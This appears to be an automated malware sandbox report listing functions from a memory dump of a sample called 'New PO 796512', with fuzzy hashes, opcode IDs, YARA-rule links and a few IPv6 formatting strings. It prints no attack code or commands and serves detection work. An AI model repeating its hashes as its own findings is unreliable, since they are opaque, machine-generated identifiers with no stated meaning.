                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                                                                            • Instruction ID: b4db76f4d94450e8ae96ecbd0e2b1d2deafdf0714afc16bb769019509a514f63
                                                                                            • Opcode Fuzzy Hash: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                                                                            • Instruction Fuzzy Hash: 1AE08C31401A14EFDF322E59DC00F5276E9FB54B28F104869E085164A887B0B881DA44
                                                                                            Function 01352050 Relevance: .0, Instructions: 20COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: d898971bd99017263d260cf3f2564fe2a01a0083a80a06f6bc945d3d9637c59c
                                                                                            • Instruction ID: ff70ce315fc61abf48ee9651e7d49c7600383d98839c4381ddeb0f8d388c1fef
                                                                                            • Opcode Fuzzy Hash: d898971bd99017263d260cf3f2564fe2a01a0083a80a06f6bc945d3d9637c59c
                                                                                            • Instruction Fuzzy Hash: 54E0C233100590ABC712FB5DDD11F4A73AEEFA5774F014121F954872A8CA64AC40C798
                                                                                            Function 01388A90 Relevance: .0, Instructions: 20COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 4861f5a381a69e507ddb33788bd9690c3cd67957beffc440e81982ecee0e9c4e
                                                                                            • Instruction ID: b1e3f48d75f4a3f4f7a2fd130c90c258e94e9f306f3838c0b18ec5ba752bafa9
                                                                                            • Opcode Fuzzy Hash: 4861f5a381a69e507ddb33788bd9690c3cd67957beffc440e81982ecee0e9c4e
                                                                                            • Instruction Fuzzy Hash: CFE04F33121B1887D728EE18D511A62B7A9EB45720B09462AA61347780C534E544C794
                                                                                            Function 013A6AA4 Relevance: .0, Instructions: 17COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2a1cd49be4a36f16e465d6e8719326e712c3afc978f3fe3bf45b66f7a6b88852
                                                                                            • Instruction ID: 8e154679c7d0cc6a75219f0ab22c36fd2a2791661861b573ee0d3b25a14796df
                                                                                            • Opcode Fuzzy Hash: 2a1cd49be4a36f16e465d6e8719326e712c3afc978f3fe3bf45b66f7a6b88852
                                                                                            • Instruction Fuzzy Hash: 93D05E76511A50AFD7329F1FEA04C13BBF9FBC4B10709062EA54583924C670A806CBA0
                                                                                            Function 0138E59C Relevance: .0, Instructions: 16COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                                                                            • Instruction ID: 24b6c7d0fd7d54e43f41be81eb601977b65e4280a0b264be161bd2799914c79d
                                                                                            • Opcode Fuzzy Hash: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                                                                            • Instruction Fuzzy Hash: 7AD0A932204620ABDB32AA1CFC00FC333E9BB88B28F060459B008C7054C3A0AC81CB84
                                                                                            Function 013CE908 Relevance: .0, Instructions: 16COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
                                                                                            • Instruction ID: d0fb033dd0ecef58c59e88516fba06dfe7b8867e48115edc934c4137a5ba73d8
                                                                                            • Opcode Fuzzy Hash: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
                                                                                            • Instruction Fuzzy Hash: 22E0EC359506849BDF52DF5DC640F9ABBB9BB94F44F150068A5085B664C628AD00CB40
                                                                                            Function 0134A0E3 Relevance: .0, Instructions: 15COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                                                                            • Instruction ID: 31ff7206389a943e3ea252079dd7571ec9af46e9321effa503eca8436a1235a0
                                                                                            • Opcode Fuzzy Hash: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                                                                            • Instruction Fuzzy Hash: E1D0223221703093CF285A5A6800F637949AB80A98F0A002CB40B93C04C0048C42D2E0
                                                                                            Function 0138A830 Relevance: .0, Instructions: 14COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
                                                                                            • Instruction ID: be73d7bfa83681e058e72375e29ede053bd33206d1c1bb2c2f2d5dd0d2899a53
                                                                                            • Opcode Fuzzy Hash: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
                                                                                            • Instruction Fuzzy Hash: BAD012371D054DBBCB119F66DC01F957BA9E764BA0F448020B508875A0C67AE950D584
                                                                                            Function 0138CA24 Relevance: .0, Instructions: 14COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 4c6f0074b0e4abe07f377344b0f1f4c579b6c476baef67e8f1ff214a43c4a4c8
                                                                                            • Instruction ID: b17d7a85ff444a4bf3b56180c3da44676ebc42e009183c1cf088d654f7ace789
                                                                                            • Opcode Fuzzy Hash: 4c6f0074b0e4abe07f377344b0f1f4c579b6c476baef67e8f1ff214a43c4a4c8
                                                                                            • Instruction Fuzzy Hash: 78D0C734555605DBEF16DF59C511D6EB674FB54B48B4010ACFF0561524D32ADD01C750
                                                                                            Function 013602A0 Relevance: .0, Instructions: 13COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                                                                            • Instruction ID: 6d0375a96d14577e55aa311401aea41b990765c10590e6a1f096928c127d85d2
                                                                                            • Opcode Fuzzy Hash: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                                                                            • Instruction Fuzzy Hash: 1ED09235212A80CFD61A8B0CC5A5B1533A8BB44A48F814490E542CBB26E668D940CA00
                                                                                            Function 0138C700 Relevance: .0, Instructions: 12COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                                                                                            • Instruction ID: 63444585ffa9fb8d15f271d997c54e42201435a136177d1482af1f817eba76ca
                                                                                            • Opcode Fuzzy Hash: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                                                                                            • Instruction Fuzzy Hash: 52C01232290648AFCB12AA99CD01F027BA9EBA8B40F004021F2088B670C671E820EA84
                                                                                            Function 01370310 Relevance: .0, Instructions: 11COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                                                                            • Instruction ID: 1a4b3260873ec6d715ab0c520e045cceeaf64850d8f3dcc7f05300e935beb4fa
                                                                                            • Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                                                                            • Instruction Fuzzy Hash: 08D01236100248EFCB15DF55C890D9AB72AFBD8710F148019FD19077108A35ED62DA50
                                                                                            Function 01350750 Relevance: .0, Instructions: 9COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                                                                                            • Instruction ID: 447ae259f13416392d7df797501389cb387c11c0901f091d6026b0332ebc7943
                                                                                            • Opcode Fuzzy Hash: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                                                                                            • Instruction Fuzzy Hash: B2C04C757015418FCF15DB1DD294F4577E4F754744F154890E905CB721E624E801CA10
                                                                                            Function 01394340 Relevance: .0, Instructions: 4COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 4907ea2b066eddc35caf169c99f90060e268c0f583ba502b4ce7efe9c89e7625
                                                                                            • Instruction ID: 02810798db1066d1a1cf479d2dcdb29bac42859c5e202a1b277dd87258fa775c
                                                                                            • Opcode Fuzzy Hash: 4907ea2b066eddc35caf169c99f90060e268c0f583ba502b4ce7efe9c89e7625
                                                                                            • Instruction Fuzzy Hash: 1D900275B0580012E140719C48985464005E7E0306B95C051E0424554CCA148A5A5361
                                                                                            Function 01394650 Relevance: .0, Instructions: 4COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: b78569b427e00e989d4d0b7132ab0a2ea73456cc022c874b278c8261eaccd3f5
                                                                                            • Instruction ID: f44f1666d09ef209627cb51b45c3077bdf6e4f7a77cd08948c652b575e2bab91
                                                                                            • Opcode Fuzzy Hash: b78569b427e00e989d4d0b7132ab0a2ea73456cc022c874b278c8261eaccd3f5
                                                                                            • Instruction Fuzzy Hash: 4D9002A5B01500429140719C48184066005E7E13063D5C155A0554560CC61889599369
                                                                                            Function 01392BA0 Relevance: .0, Instructions: 4COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: dfabac3c2777eba355ece43c4672d82c406d8f883ea07039fe624d2997ff7160
                                                                                            • Instruction ID: a01454a4b9550121b05302f274716429318a62f2b36b0f2dee0379c907cb5d55
                                                                                            • Opcode Fuzzy Hash: dfabac3c2777eba355ece43c4672d82c406d8f883ea07039fe624d2997ff7160
                                                                                            • Instruction Fuzzy Hash: B7900275B0540802E150719C44287460005D7D0306F95C051A0024654DC7558B5977A1
                                                                                            Function 01392B80 Relevance: .0, Instructions: 4COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2d2afcc7f9c93bcaded4a32d29b6c0d1e7bb9411e5aacdc1f75d22e15dd1fa1e
                                                                                            • Instruction ID: ff15e7c94fd0d1c9c4c715d8e51275da1f980ca398b0ab18d09adf4c5c800d4c
                                                                                            • Opcode Fuzzy Hash: 2d2afcc7f9c93bcaded4a32d29b6c0d1e7bb9411e5aacdc1f75d22e15dd1fa1e
                                                                                            • Instruction Fuzzy Hash: 7B90027570140802E104719C48186860005D7D0306F95C051A6024655ED66589957231
                                                                                            Function 01392BE0 Relevance: .0, Instructions: 4COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 6e16ca3558e5ad3385901e2264d8390e91567ba6a282d2fc26ba085ff13b30da
                                                                                            • Instruction ID: c88ba02455efaf4b2139030a8b50ebcea9713ea1d8e9820181b1bc05411dfb19
                                                                                            • Opcode Fuzzy Hash: 6e16ca3558e5ad3385901e2264d8390e91567ba6a282d2fc26ba085ff13b30da
                                                                                            • Instruction Fuzzy Hash: 7990027570544842E140719C4418A460015D7D030AF95C051A0064694DD6258E59B761
                                                                                            Function 01392AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 17d8d5ab2970280c16cf858884efe4b959a8ea02e9f7e336f07904a5ef21056c
                                                                                            • Instruction ID: e17992ca8a3c34bd884217003387bd5a6867b64d8d493f044df11efcf919e36c
                                                                                            • Opcode Fuzzy Hash: 17d8d5ab2970280c16cf858884efe4b959a8ea02e9f7e336f07904a5ef21056c
                                                                                            • Instruction Fuzzy Hash: EE9002E5701540929500B29C8418B0A4505D7E0206B95C056E1054560CC52589559235
                                                                                            Function 01392890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: ___swprintf_l
                                                                                            • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                            • API String ID: 48624451-2108815105
                                                                                            • Opcode ID: 614dc0bfb93aa0b347b32f704f8c35ac257e8ad9d88fde1976a949fff0eed3b3
                                                                                            • Instruction ID: c164b3e90e664baf9efa8afa7e33de3550cf97230e246d936597df8aac0599bb
                                                                                            • Opcode Fuzzy Hash: 614dc0bfb93aa0b347b32f704f8c35ac257e8ad9d88fde1976a949fff0eed3b3
                                                                                            • Instruction Fuzzy Hash: 6451F7B6A0451ABFCF11DB9C888097FFBB8BB18248B50C129F4A5D7641E334EE1087E0
                                                                                            Function 01402410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: ___swprintf_l
                                                                                            • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                            • API String ID: 48624451-2108815105
                                                                                            • Opcode ID: 4b0d616b84fa41d09e0c3677f7fd44f6cc3624208b08034616816408f549237f
                                                                                            • Instruction ID: 07870d4b69bb9f2da438649abf5535cad648d524ddbde6ccdb985888fa22b4ac
                                                                                            • Opcode Fuzzy Hash: 4b0d616b84fa41d09e0c3677f7fd44f6cc3624208b08034616816408f549237f
                                                                                            • Instruction Fuzzy Hash: 4951F471A00656ABDB22DE5EC994C7FBBF8EB44204B44847BE4D6D37D1E6B4EA008760
                                                                                            Function 014020E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: ___swprintf_l
                                                                                            • String ID: %%%u$[$]:%u
                                                                                            • API String ID: 48624451-2819853543
                                                                                            • Opcode ID: 370fb44b8e579ceb677c9250087ed5ca1d6644324ebaab4a67716a18cf8f906b
                                                                                            • Instruction ID: 14311912f038fb75c5304432ac486590644f37c703222b08ef7f3a314f9ce6ea
                                                                                            • Opcode Fuzzy Hash: 370fb44b8e579ceb677c9250087ed5ca1d6644324ebaab4a67716a18cf8f906b
                                                                                            • Instruction Fuzzy Hash: B521517AA00119ABDB11DF7EC844EEFBBF8EF54644F440126E945E7284E770E9018BA1
                                                                                            Function 01402300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: ___swprintf_l
                                                                                            • String ID: %%%u$]:%u
                                                                                            • API String ID: 48624451-3050659472
                                                                                            • Opcode ID: 8bb1db3b8de74a6a604878c0a4cb241c354451397928c3e7c1d7ea9d66e8cdb1
                                                                                            • Instruction ID: 15c6f4a5f14cf09192b6a6d7bffb2ab9881f0b7e8d2b2b402fb6bf50e41c0503
                                                                                            • Opcode Fuzzy Hash: 8bb1db3b8de74a6a604878c0a4cb241c354451397928c3e7c1d7ea9d66e8cdb1
                                                                                            • Instruction Fuzzy Hash: C731A7726001299FDB61DF3DCC44FEFB7F8EB44614F444466E949E3280EB70AA448B60